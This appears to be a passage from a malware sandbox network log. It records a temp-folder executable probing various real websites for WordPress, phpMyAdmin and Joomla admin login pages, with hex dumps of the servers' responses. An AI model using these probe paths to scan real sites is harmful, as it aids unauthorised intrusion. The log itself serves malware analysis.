2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 69 67 65 73 74 69 76 65 2d 73 75 70 70 6f 72 74 22 3e 3c 73 70 61 6e 3e 44 69 67 65 73 74 69 76 65 20 53 75 70 70 6f 72 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 73 6b 69 6e 2d 63 6f 61 74 22 3e 3c 73 70 61 6e 3e 53 6b 69 6e 20 26 20 43 6f 61 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 Data Ascii: m level1 "><a href="https://horsetech.com/canine-supplements/digestive-support"><span>Digestive Support</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/canine-supplements/skin-coat"><span>Skin & Coat</span></a></li><li class

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	56752	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	326	OUT	GET /wp-login.php HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:26 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_MUcHyyAxk92nTpLeaKcihOSpOR0VzpV9MkTLOTUMzc01rXHk6slXW0mjlZGyw8GriyptgjWkkfp+1KfJoA/aUw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:26 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	56822	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	184	OUT	GET /phpmyadmin HTTP/1.1 Host: www.newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	922	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038406.2891654951815228518 Cache-Control: public,max-age=0,must-revalidate Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:26 GMT Age: 3 X-Served-By: cache-dfw-kdfw8210141-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=hit, varnish;desc=hit_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLjBdxec7r7DHGEpZo2ij+25kavE0ZtMXws1mfakihq4B,2d58ifebGbosy5xc+FRalqGyY36XJ7gOwVe0bLQXtjTSJPbf82bsb6B2sopBWZ82S3V6/8eVQe65nonc+dxBAA==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:26 UTC	330	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" conten
2023-12-20 02:13:26 UTC	1252	IN	Data Raw: 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 66 6f 6e 74 73 2f 48 65 6c 76 65 74 69 63 61 2f 66 6f 6e 74 46 61 63 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 Data Ascii: ame="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="robots" content="noindex, nofollow"> ... --> <link href="//static.parastorage.com/services/third-party/fonts/Helvetica/fontFace.css" rel="stylesheet" t
2023-12-20 02:13:26 UTC	1252	IN	Data Raw: 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 6c 6f 63 61 6c 65 2f 6d 65 73 73 61 67 65 73 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 61 70 70 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 Data Ascii: ate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/locale/messages_en.js"></script> ... --><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/app.js"></scrip
2023-12-20 02:13:26 UTC	95	IN	Data Raw: 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: an> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	56902	162.159.134.42	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: directa-plus.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	888	IN	HTTP/1.1 520 Date: Wed, 20 Dec 2023 02:13:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7189 Connection: close CF-Ray: 83845db77c1db3c8-MIA Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Vary: Accept-Encoding ki-cache-type: None ki-edge: v=20.2.5;mv=3.0.1 ki-origin: g1p Referrer-Policy: same-origin X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=o75TV%2BpXMF0vGD6STbe6a4AfkGSZ7Oo0Av5aa%2FeiFdTtTjW0ZxUmscdQkS38VXBu8ICsKgLdndeBdIRAfqgpnMTBN8WLceBtkZsOBFlxVp1HlsAgf52S5zz3Z0GVVCD%2FW%2FU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:26 UTC	481	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 Data Ascii: charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/sty
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 6f 77 2d 68 69 64 64 65 6e 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6d 64 3a 66 6c 6f 61 74 2d 6e 6f 6e 65 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 6c 61 74 69 76 65 20 6d 62 2d 31 30 20 6d 64 3a 6d 2d 30 22 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 62 72 6f 77 73 65 72 20 62 6c 6f 63 6b 20 6d 64 3a 68 69 64 64 65 6e 20 68 2d 32 30 20 62 67 2d 63 65 6e 74 65 72 20 62 67 2d 6e 6f 2d 72 65 70 65 61 74 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 6f 6b 20 77 2d 31 32 20 68 2d 31 32 20 61 62 73 6f 6c 75 74 65 20 6c 65 66 74 2d 31 2f 32 20 6d 64 3a 6c 65 66 74 2d 61 75 74 6f 20 6d 64 3a 72 69 67 68 74 Data Ascii: ow-hidden float-left md:float-none text-center"> <div class="relative mb-10 md:m-0"> <span class="cf-icon-browser block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:right
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 65 72 72 6f 72 63 6f 64 65 5f 35 32 30 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 64 69 72 65 63 74 61 2d 70 6c 75 73 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 43 6c 6f 75 64 66 6c 61 72 65 0a 20 20 20 20 3c 2f 61 3e 0a 20 20 3c 2f 68 33 3e 0a 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 65 61 64 69 6e 67 2d 31 2e 33 20 74 65 78 74 2d 32 78 6c 20 74 65 78 74 2d 67 72 65 65 6e 2d 73 75 63 63 65 73 73 22 3e 57 6f 72 6b 69 6e 67 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 66 2d 68 6f 73 74 2d 73 74 61 74 75 73 22 20 63 6c 61 73 73 3d 22 Data Ascii: rror-landing?utm_source=errorcode_520&utm_campaign=directa-plus.com" target="_blank" rel="noopener noreferrer"> Cloudflare </a> </h3> <span class="leading-1.3 text-2xl text-green-success">Working</span></div><div id="cf-host-status" class="
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 6c 61 72 65 20 61 6e 64 20 74 68 65 20 6f 72 69 67 69 6e 20 77 65 62 20 73 65 72 76 65 72 2e 20 41 73 20 61 20 72 65 73 75 6c 74 2c 20 74 68 65 20 77 65 62 20 70 61 67 65 20 63 61 6e 20 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 31 2f 32 20 6d 64 3a 77 2d 66 75 6c 6c 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6c 65 61 64 69 6e 67 2d 72 65 6c 61 78 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 33 78 6c 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 6c 65 61 64 69 6e 67 2d 31 2e 33 20 6d 62 2d 34 22 3e 57 68 61 74 20 Data Ascii: lare and the origin web server. As a result, the web page can not be displayed.</p> </div> <div class="w-1/2 md:w-full float-left leading-relaxed"> <h2 class="text-3xl font-normal leading-1.3 mb-4">What
2023-12-20 02:13:26 UTC	1232	IN	Data Raw: 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 33 38 34 35 64 62 37 61 33 38 35 62 33 63 38 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 2d 69 70 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 68 69 64 64 65 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 Data Ascii: <strong class="font-semibold">83845db7a385b3c8</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id="c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	56967	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	333	OUT	GET /wp-login.php HTTP/1.1 Host: mobiamericas.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:26 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_XjAeLy+6WD2YbRlA+Cp97DZm1gTkuwbEBnxNrHXx+U3JYdY+6+hmmpn4YhhnegqKycXlgfWd082oRbHr2yTL4w Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:26 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	56979	96.45.112.177	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:26 UTC	185	OUT	GET /administrator/ HTTP/1.1 Host: www.texasopendoor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:27 UTC	562	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Set-Cookie: PHPSESSID=43f682f086d0c366466c7d13a802f997; path=/ Pragma: no-cache Set-Cookie: aiovg_rand_seed=1494448789; expires=Thu, 21-Dec-2023 02:13:27 GMT; Max-Age=86400; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.texasopendoor.com/wp-json/>; rel="https://api.w.org/"
2023-12-20 02:13:27 UTC	15822	IN	Data Raw: 62 64 64 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 53 69 74 65 22 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 Data Ascii: bdde<!doctype html><html class="no-js"lang="en-US"><head itemscope itemtype="http://schema.org/WebSite"> <meta charset="UTF-8" /> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="viewport" content="width=device-width, init
2023-12-20 02:13:27 UTC	16384	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 65 78 61 73 6f 70 65 6e 64 6f 6f 72 2e 63 6f 6d 2f 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 37 32 31 32 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 73 65 61 72 63 68 22 3e 53 65 61 72 63 68 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: ="https://www.texasopendoor.com/">Home</a> </li> <li class=" menu-item menu-item-type-custom menu-item-object-custom menu-item-7212"> <a href="/search">Search</a> </li> <
